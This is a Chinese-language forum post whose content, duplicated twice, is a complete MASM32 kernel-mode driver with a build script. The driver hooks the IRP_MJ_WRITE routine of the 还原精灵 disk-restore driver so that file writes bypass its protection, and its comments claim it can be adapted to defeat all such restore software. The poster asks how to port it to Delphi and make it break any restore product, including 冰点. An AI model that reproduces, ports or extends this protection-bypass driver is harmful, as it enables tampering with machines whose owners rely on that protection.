J
jamily
Unregistered / Unconfirmed
GUEST, unregistred user!
;goto make
;利用该代码可以绕过还原精灵操作文件.
;该代码在windows nt及以上系统运行后可清除还原精灵保护.
;适当的改动源代码应该可以突破所有还原之类软件.
;还原精灵主要是在文件驱动(Ftdisk)上附加了一个驱动.
;这里只HOOK还原精灵的驱动的IRP_MJ_WRITE例程就可以了.
;在自己的IRP_MJ_WRITE例程里直接将IRP传到下层去.
;这样还原精灵的IRP_MJ_WRITE例程就未被执行即绕过了.
.386
.model flat, stdcall
option casemap:none
include d:/masm32/include/w2k/ntstatus.inc
include d:/masm32/include/w2k/ntddk.inc
include d:/masm32/include/w2k/ntoskrnl.inc
includelib d:/masm32/lib/w2k/ntoskrnl.lib
include d:/masm32/Macros/Strings.mac
.const
;获取的设备对象名"//DosDevices//C:"也可以"/??/C:"当然还可以"/Device/HarddiskVolume1".
;C:设备对象最终也是指向的HarddiskVolume1设备对象.
CCOUNTED_UNICODE_STRING "//DosDevices//C:", gDiskSymbolLink, 4
.data
gDriverObject dd 0 ;保存驱动程序对象DRIVER OBJECT地址
gDeviceObject dd 0 ;保存设备对象DEVICE OBJECT地址
gWRITE dd 0 ;旧的函数地址
.code
DriverEntry proc uses ebx pDriverObjectDRIVER_OBJECT, pusRegistryPathUNICODE_STRING
local filtfileobFILE_OBJECT
local filtdeviceobDEVICE_OBJECT
;获取还原精灵设备对象(DEVICE OBJECT)指针,原因还原精灵附加到文件驱动(Ftdisk)上.
invoke IoGetDeviceObjectPointer,addr gDiskSymbolLink,80h,addr filtfileob,addr filtdeviceob
mov eax,filtdeviceob
;由于判断复杂这里确定你有还原精灵驱动且以运行,没有做任何判断直接进行HOOK程序的.
;也可以做一些简单判断但不一定准确如:检查获取的设备对象的驱动对象的名字是Ftdisk
;注意有可能系统其他程序也附加到文件驱动(Ftdisk),以判断准确性就差了.
;还可以就是检查获取的设备对象的驱动对象的名字是还原精灵的驱动名(如:YzIdot)
test eax,eax ;检查设备对象
jz short @@ErrorDriver
;保存设备对象DEVICE OBJECT
mov gDeviceObject,eax
;保存驱动程序对象DRIVER OBJECT
assume eaxtr DEVICE_OBJECT
mov ebx,[eax].DriverObject
mov gDriverObject,ebx
;挂接IRP_MJ_WRITE
@@HookWRITE:
assume ebxtr DRIVER_OBJECT
mov eax,[ebx].MajorFunction+IRP_MJ_WRITE*4
mov gWRITE,eax;保存旧的函数地址
;是否已经被挂接
cmp eax,offset HookWRITE
jz short @@ErrorDriver
mov [ebx].MajorFunction+IRP_MJ_WRITE*4,offset HookWRITE
@@ErrorDriver:
xor eax,eax
ret
DriverEntry endp
HookWRITE proc uses edx ecx pDeviceObjectWORD,pIrpWORD
mov eax,pDeviceObject
mov eax,dword ptr[eax+28h];[DEVICE_OBJECT].DeviceExtension
mov ecx,dword ptr[eax+4] ;[DEVOBJ_EXTENSION].DeviceObject
;IoSkipCurrentIrpStackLocation在ntddk.inc中有宏定义
mov edx,pIrp
inc byte ptr [edx+23h] ;inc (_IRP PTR [eax]).CurrentLocation
add dword ptr [edx+60h],24h;add (_IRP PTR [eax]).Tail.Overlay.CurrentStackLocation, sizeof IO_STACK_LOCATION
mov eax,pDeviceObject
test eax,eax ;检查设备对象
jz @@fail
call IofCallDriver ;IofCallDriver(pDeviceObject,pIrp)
@@fail:
xor eax,eax
ret
HookWRITE endp
end DriverEntry
:make
set drv=hookhyjl
d:/masm32/ml /nologo /c /coff %drv%.bat
d:/masm32/link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
pause
以上为win32汇编,加入delphi中,运行出错。
怎样加入delphi,并改为突破任何还原软件,我并非用做它用,就是用来管理机房,全部用冰点保护的,好用这样的程序用游戏菜单更新程序!
;利用该代码可以绕过还原精灵操作文件.
;该代码在windows nt及以上系统运行后可清除还原精灵保护.
;适当的改动源代码应该可以突破所有还原之类软件.
;还原精灵主要是在文件驱动(Ftdisk)上附加了一个驱动.
;这里只HOOK还原精灵的驱动的IRP_MJ_WRITE例程就可以了.
;在自己的IRP_MJ_WRITE例程里直接将IRP传到下层去.
;这样还原精灵的IRP_MJ_WRITE例程就未被执行即绕过了.
.386
.model flat, stdcall
option casemap:none
include d:/masm32/include/w2k/ntstatus.inc
include d:/masm32/include/w2k/ntddk.inc
include d:/masm32/include/w2k/ntoskrnl.inc
includelib d:/masm32/lib/w2k/ntoskrnl.lib
include d:/masm32/Macros/Strings.mac
.const
;获取的设备对象名"//DosDevices//C:"也可以"/??/C:"当然还可以"/Device/HarddiskVolume1".
;C:设备对象最终也是指向的HarddiskVolume1设备对象.
CCOUNTED_UNICODE_STRING "//DosDevices//C:", gDiskSymbolLink, 4
.data
gDriverObject dd 0 ;保存驱动程序对象DRIVER OBJECT地址
gDeviceObject dd 0 ;保存设备对象DEVICE OBJECT地址
gWRITE dd 0 ;旧的函数地址
.code
DriverEntry proc uses ebx pDriverObjectDRIVER_OBJECT, pusRegistryPathUNICODE_STRING
local filtfileobFILE_OBJECT
local filtdeviceobDEVICE_OBJECT
;获取还原精灵设备对象(DEVICE OBJECT)指针,原因还原精灵附加到文件驱动(Ftdisk)上.
invoke IoGetDeviceObjectPointer,addr gDiskSymbolLink,80h,addr filtfileob,addr filtdeviceob
mov eax,filtdeviceob
;由于判断复杂这里确定你有还原精灵驱动且以运行,没有做任何判断直接进行HOOK程序的.
;也可以做一些简单判断但不一定准确如:检查获取的设备对象的驱动对象的名字是Ftdisk
;注意有可能系统其他程序也附加到文件驱动(Ftdisk),以判断准确性就差了.
;还可以就是检查获取的设备对象的驱动对象的名字是还原精灵的驱动名(如:YzIdot)
test eax,eax ;检查设备对象
jz short @@ErrorDriver
;保存设备对象DEVICE OBJECT
mov gDeviceObject,eax
;保存驱动程序对象DRIVER OBJECT
assume eaxtr DEVICE_OBJECT
mov ebx,[eax].DriverObject
mov gDriverObject,ebx
;挂接IRP_MJ_WRITE
@@HookWRITE:
assume ebxtr DRIVER_OBJECT
mov eax,[ebx].MajorFunction+IRP_MJ_WRITE*4
mov gWRITE,eax;保存旧的函数地址
;是否已经被挂接
cmp eax,offset HookWRITE
jz short @@ErrorDriver
mov [ebx].MajorFunction+IRP_MJ_WRITE*4,offset HookWRITE
@@ErrorDriver:
xor eax,eax
ret
DriverEntry endp
HookWRITE proc uses edx ecx pDeviceObjectWORD,pIrpWORD
mov eax,pDeviceObject
mov eax,dword ptr[eax+28h];[DEVICE_OBJECT].DeviceExtension
mov ecx,dword ptr[eax+4] ;[DEVOBJ_EXTENSION].DeviceObject
;IoSkipCurrentIrpStackLocation在ntddk.inc中有宏定义
mov edx,pIrp
inc byte ptr [edx+23h] ;inc (_IRP PTR [eax]).CurrentLocation
add dword ptr [edx+60h],24h;add (_IRP PTR [eax]).Tail.Overlay.CurrentStackLocation, sizeof IO_STACK_LOCATION
mov eax,pDeviceObject
test eax,eax ;检查设备对象
jz @@fail
call IofCallDriver ;IofCallDriver(pDeviceObject,pIrp)
@@fail:
xor eax,eax
ret
HookWRITE endp
end DriverEntry
:make
set drv=hookhyjl
d:/masm32/ml /nologo /c /coff %drv%.bat
d:/masm32/link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
pause
以上为win32汇编,加入delphi中,运行出错。
怎样加入delphi,并改为突破任何还原软件,我并非用做它用,就是用来管理机房,全部用冰点保护的,好用这样的程序用游戏菜单更新程序!